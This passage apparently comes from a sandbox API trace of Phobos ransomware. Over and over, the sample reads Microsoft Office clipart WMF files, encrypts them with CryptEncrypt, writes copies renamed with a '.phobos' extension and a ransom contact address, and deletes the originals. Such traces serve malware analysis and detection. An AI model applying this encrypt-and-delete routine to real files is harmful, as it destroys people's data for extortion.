(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0059.052] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.052] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=14486) returned 1 [0059.053] CloseHandle (hObject=0x304) returned 1 [0059.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0059.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.057] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.057] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.058] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce30) returned 1 [0059.058] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.058] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3896, lpOverlapped=0x0) returned 1 [0059.068] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x38a0, dwBufLen=0x38a0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x38a0) returned 1 [0059.068] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x38a0, lpOverlapped=0x0) returned 1 [0059.069] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0059.069] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.069] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.069] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0059.069] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.069] CryptDestroyKey (hKey=0x10ce30) returned 1 [0059.069] CloseHandle (hObject=0x304) returned 1 [0059.069] CloseHandle (hObject=0x33c) returned 1 [0059.070] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0059.072] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.072] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=18304) returned 1 [0059.072] CloseHandle (hObject=0x33c) returned 1 [0059.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0059.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.072] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.072] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.073] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cc30) returned 1 [0059.073] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.073] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4780, lpOverlapped=0x0) returned 1 [0059.079] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4790, dwBufLen=0x4790 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4790) returned 1 [0059.079] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4790, lpOverlapped=0x0) returned 1 [0059.080] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc70) returned 1 [0059.080] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.081] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.081] CryptDestroyKey (hKey=0x10cc70) returned 1 [0059.081] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.081] CryptDestroyKey (hKey=0x10cc30) returned 1 [0059.081] CloseHandle (hObject=0x33c) returned 1 [0059.081] CloseHandle (hObject=0x304) returned 1 [0059.082] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0059.083] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.083] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=12520) returned 1 [0059.083] CloseHandle (hObject=0x304) returned 1 [0059.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0059.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.084] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.084] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.084] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1f0) returned 1 [0059.084] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.084] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x30e8, lpOverlapped=0x0) returned 1 [0059.247] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x30f0) returned 1 [0059.247] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x30f0, lpOverlapped=0x0) returned 1 [0059.250] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc70) returned 1 [0059.250] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.250] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.250] CryptDestroyKey (hKey=0x10cc70) returned 1 [0059.250] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.250] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0059.250] CloseHandle (hObject=0x304) returned 1 [0059.250] CloseHandle (hObject=0x33c) returned 1 [0059.251] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0059.252] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.253] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1464) returned 1 [0059.253] CloseHandle (hObject=0x33c) returned 1 [0059.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0059.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.253] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.253] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.254] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d070) returned 1 [0059.254] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.254] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x5b8, lpOverlapped=0x0) returned 1 [0059.269] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5c0) returned 1 [0059.269] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x5c0, lpOverlapped=0x0) returned 1 [0059.270] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0059.270] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.270] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.270] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0059.270] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.270] CryptDestroyKey (hKey=0x10d070) returned 1 [0059.270] CloseHandle (hObject=0x33c) returned 1 [0059.270] CloseHandle (hObject=0x304) returned 1 [0059.271] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0059.272] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.272] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1696) returned 1 [0059.273] CloseHandle (hObject=0x304) returned 1 [0059.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0059.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.273] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.273] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.273] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cf30) returned 1 [0059.273] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.273] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x6a0, lpOverlapped=0x0) returned 1 [0059.275] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x6b0) returned 1 [0059.275] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x6b0, lpOverlapped=0x0) returned 1 [0059.275] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0059.275] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.276] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.276] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0059.276] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.276] CryptDestroyKey (hKey=0x10cf30) returned 1 [0059.276] CloseHandle (hObject=0x304) returned 1 [0059.276] CloseHandle (hObject=0x33c) returned 1 [0059.276] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0059.277] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.278] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1516) returned 1 [0059.278] CloseHandle (hObject=0x33c) returned 1 [0059.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0059.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.278] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.278] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 